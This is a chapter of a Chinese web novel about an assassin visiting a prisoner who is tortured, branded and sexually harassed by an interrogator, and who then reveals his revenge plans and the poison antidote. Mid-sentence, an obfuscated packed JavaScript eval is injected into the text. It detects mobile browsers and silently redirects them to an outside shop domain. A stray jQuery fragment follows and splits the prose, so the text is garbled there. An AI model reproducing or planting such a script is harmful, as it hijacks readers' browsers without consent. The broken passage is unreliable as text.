青情意识昏沉,咬牙强撑,她费了极大精力附在长孙旖身上许久,探听他和段敏的对话,结果临到最后一句“你想娶我?”
她心脏一瞬间被妒火烧灼,情绪激动间意识不稳,竟然被弹了出来!
她再想回去,就因精力不济连共感都建连不上,她一时间抓耳挠腮,咂摸着长孙旖最后一句话,和他脸上那堪称玉面春的温柔笑意。
她更生气了,几乎迫不及待就想回凰城。
她必须尽快拿到解药。
顺着狭窄石阶向下,越往下空气越发闷臭潮湿。
地牢由粗砺青石块垒筑,整体空间阴暗闭塞,只在高墙高处凿着极小的透气石窗,罕有日光渗入。
牢内以粗木栅栏分隔成一间间囚室,木栏经年腐朽发黑,壁上摇曳的油脂火把照明,火光昏黄摇曳,在地面投下扭曲黑影。
“啪,啪!”
空气中炸开两道鞭响,糜月手脚被铁索捆在木桩上,他耷拉着脑袋,额角挂满大颗大颗的汗珠,身上原本是淡青色的素衣这会儿已经浸满黑红血污。
他对痛觉极其敏感,此时也没有压抑自己的痛呼求饶,随着一次次落下鞭子,他也一次次的惨叫。
“我,我不是奸细……”
“还不承认?!”
负责刑讯的是盟主府侍卫副首领,她手段极其老练狠毒,见糜月始终不改口,撂下鞭子从旁边的架子上挑选新刑具。
糜月发出粗重的喘息,眼中神采几乎涣散开,许久才哀声求饶:“大人,我只是个本分下人,为何一定觉得我是别有居心?大人可有何证据?!”
“哼。”那副首领冷笑一声:“你可以不承认,但那日所有跟车队的下人我都一一经手审过,有人说刺客出现之后,你就不见了踪影,你是去哪了?”
糜月眼角溢出生理性的眼泪,他抽抽噎噎,看起来十分委屈不解:
“大人有所不知,我和我的妻主庆冷当时就已是情投意合,妻主忠心,见二皇子殿下的马车失控,就赶紧追上去想救人,我虽然帮不上什么忙,可我心里实在担心妻主安危,就趁刺客没注意我,偷偷溜出车队去找妻主的下落。”
“那马车速度太快,妻主追着马车不多时就踪迹全无,我虽然尝试去找,但最终一无所获,还险些在林子里迷了路。”
副统领把烙铁放在炭灰里炙烤,她不紧不慢翻腾着烧得发红发亮的火烙,表情看不出信没信。
“哦?那你当时怎么没说呢?刚才我审问你事发当天你都在做什么,你又为何不主动将此事解释交代?”
糜月咬着下唇,苦笑着摇头:“我只是个低贱的侍仆,虽然心系妻主,却也知道我那时的举措不合规矩,我没能待在大殿下身边,反而为了一己私欲脱离车队……我担心说出来会惹来惩罚,所以才私心瞒下此事。”
“呃啊——啊”
副统领动作粗鲁的扒开糜月的衣襟,滚烫的铁块印在糜月粉嫩柔软的肌肤上,冒出滚滚白烟。
糜月几乎翻白眼,痛得张大嘴巴惨叫声不绝于耳,连涎水都失控的跑出来。
那模样,说不出是可怜还是香艳。
烙铁拿走,糜月微仰着头粗粗的急促的喘息,许久,他突然感觉胸膛有什么在摩挲,他猛地低头,就看见副统领一脸色相手指肆意挑拨着他敞开的胸肉。
“不要,不要……大人求你,不要这样!我和妻主才刚刚新婚,我不能对不起她!”
“呵呵,人夫吗?那不是更有意思?你妻主现在又帮不了你,说不定等你死了,人家就立马再娶回来一个续弦。”
“我看你不如跟了我,到时我也不是不能免去你的嫌疑。”
糜月瞪大眼睛,胸口起伏愈发激烈,这回是气得。
他算是听明白了,其实他的说辞已然能解释清楚他的嫌疑,只是这副统领不肯放了他,她是故意揪着他折磨!
“副统领大人!这男子的妻主想要探视,我们拦着,她也固执不肯走,该如何处置?”
副统领抽回手,微一皱眉:“盟主明令禁止任何人探视,他妻主……是那个救驾有功的庆冷?”
“正是。”
“她是如何找到这儿的?”
副统领觉得奇怪,武林盟有多处地牢,此处地牢位处荒郊野岭,乃是最隐秘最不为外人所知,竟然被找到了。
她不知道青情可以用仙术直接追踪糜月,心里愈发觉得这个侍卫不简单,又是有功之身,恐怕未来前途无量。
“……算了,把人关起来。我去赶走她。”
“是!大人。”
糜月被重新关回牢里,手脚都带上镣铐,他胸膛还敞着,可没人大发善心愿意帮他整理好衣裳,焦红鼓泡的烫伤在衣襟里若隐若现,如同美玉有瑕。
糜月疲惫的瘫靠在木栅栏上,他布满细小伤痕的手攥紧身旁的垫草,恨不得杀了所有人。
若是从前,他或许真有一力把武林盟搅闹个天翻地覆,而非乖乖束手就擒,在这儿任人宰割折辱。
只是不巧,他为了帮青情解毒,从身体里取出母虫,还日日放血喂养,他内功因此陷入虚弱,起码要缓和个十天半月才能恢复。
只是……看这副统领的态度,怕是要不了多久就会想方设法,把他抬到她的榻上去。
该死的武林盟,该死的长孙旖,该死的柳飞云,该死的皇室。
如果,如果当初不是柳飞云怀上长孙旖,如果不是那一胎,或许他就可以毒杀柳飞云,取而代之成为真正的后宫之主,成为手握至高权利尊荣无比的凤君!
是那一胎让女皇心生恻隐,让她最终选择柳飞云,而他和他的孩子却成了名不正言不顺的外室和野种。
明明是他和她自小有婚约,家族因贪污获罪流放后,他为了重新成为能和她比肩同行之人,不惜投身药王谷,给后来背叛药王谷的邪医做试毒的药人。
他日日浸泡毒汤,又用神药吊命,最终他成为蛊毒最佳的温床,并凭借蛊毒创建四伏阁。
他帮她做尽脏事,帮她铲除异己,帮她登上高位。最终却无名无分,她甚至因忌惮他而妄图用毒杀他!
可惜他自己就是个毒物,那毒对他丁点不起作用,只足够让他看清所谓的情爱究竟是什么样的腌臜东西。
这些年,他一直像个老鼠一样,躲藏暗处,又虎视眈眈。
他真是恨透了皇室,恨透柳飞云还有他的孽种长孙旖!他迟早会为自己报仇,他迟早会杀光他们……
最终青
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17640920|204647||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
情也没能靠塞银子之类的手段探视糜月,他瑟缩在牢房一角昏睡,晚饭是硬馒头和冷菜汤,他没吃。
“糜月,糜月?”
似乎有谁在喊他,糜月许久才撑开眼皮,瞳孔许久才聚焦,就看见一身侍卫装束的青情。
她原本并不穿统一侍卫服饰,只穿自己那一身黑,且看她这身衣服,应该是从专门看守地牢的侍卫身上扒下来的。
糜月抿了抿干裂的嘴唇,青情看他醒了,对他招招手:“过来。”
糜月迟疑着,有些费力的撑起身子,走到栅栏边上却是膝盖一软,跪坐在垫草上。
他身上的伤太多了,青情几乎不忍看,她从怀里掏出一包糕点,取了一块塞进他嘴里,又对他伸手。
糜月几乎条件反射的向后躲,却没能退开多远,然后他就看着青情扯住他的衣襟,试图帮他重新整理好衣物。
“别弄了,被扯坏了。”糜月冷冷的扯了扯嘴角,对自己的狼狈似乎没什么大反应。
青情手上一顿,看着那过分敞开的领口,她别开眼,从怀里掏出一瓶外伤药,丢进去。
“自己上药吧。”
糜月没伸手去接,任由那药瓶落进垫草里,他暗沉的眸子一眨不眨盯着青情,突然开口说:
“我一定会杀了长孙旖。”
青情一顿,她是混进地牢里,还使了点仙术做障眼法,外面还有很多侍卫驻守,她能在此处停留的时间有限,真不想花费时间口舌和他争辩这些。
“你先活下来吧,活下来再谈杀谁的事。”
糜月从胸膛哼出闷闷的笑声,很快他又开始咳嗽,嘴角溢出一条血丝。
青情蹙眉,又从怀里摸索出一个瓶子,倒出一颗药丸塞进糜月嘴里。
糜月竟然没吐出来,堪称乖顺的咽下去,只是那脸色依旧阴恻恻。
青情被他的态度弄得瘆得慌,解释道:“……止痛的。”
她把一整瓶都丢进去,原本想拿这些药和糜月谈谈条件,看他着惨样,她也实在做不出待价而沽的事。
糜月表情微僵,似乎有些意外。
青情觉得疑惑,他在意外什么?他以为她塞给他那药是什么?
“你想要的解药,已经在你手里了。”糜月突然说。
青情一愣:“什么时候……”他什么时候给她了?
“就是那只虫子。”
“你最好抓抓紧,它以人血为食,如果死了,就没效果了。”糜月笑容阴毒,似乎很期待虫子死掉之后青情一切图谋前功尽弃的样子。
青情呼吸一滞,恨不得立刻掉头就走,却听糜月悠悠又道:“对了,我得提醒你。”
“蛊毒是阁主自小种在你们身体里的,和你们修炼的内功相辅相成,蛊虫可以帮助你们修为快速精进,甚至可以靠喝酒快速突破,但是一旦你尝试解毒,随着子虫吃下母虫,子虫身死,蛊毒彻底根除干净,但内功也会瞬间溃散,荡然无存。”
“我很高兴你能解毒,这样你就可以变回没用但平安的普通人。”
糜月不在乎四伏阁少一个刺客,不在乎放青情去过普通日子。
他在乎的是,在明知他要杀掉长孙旖的情况下,青情是会吃下解药,还是不吃呢?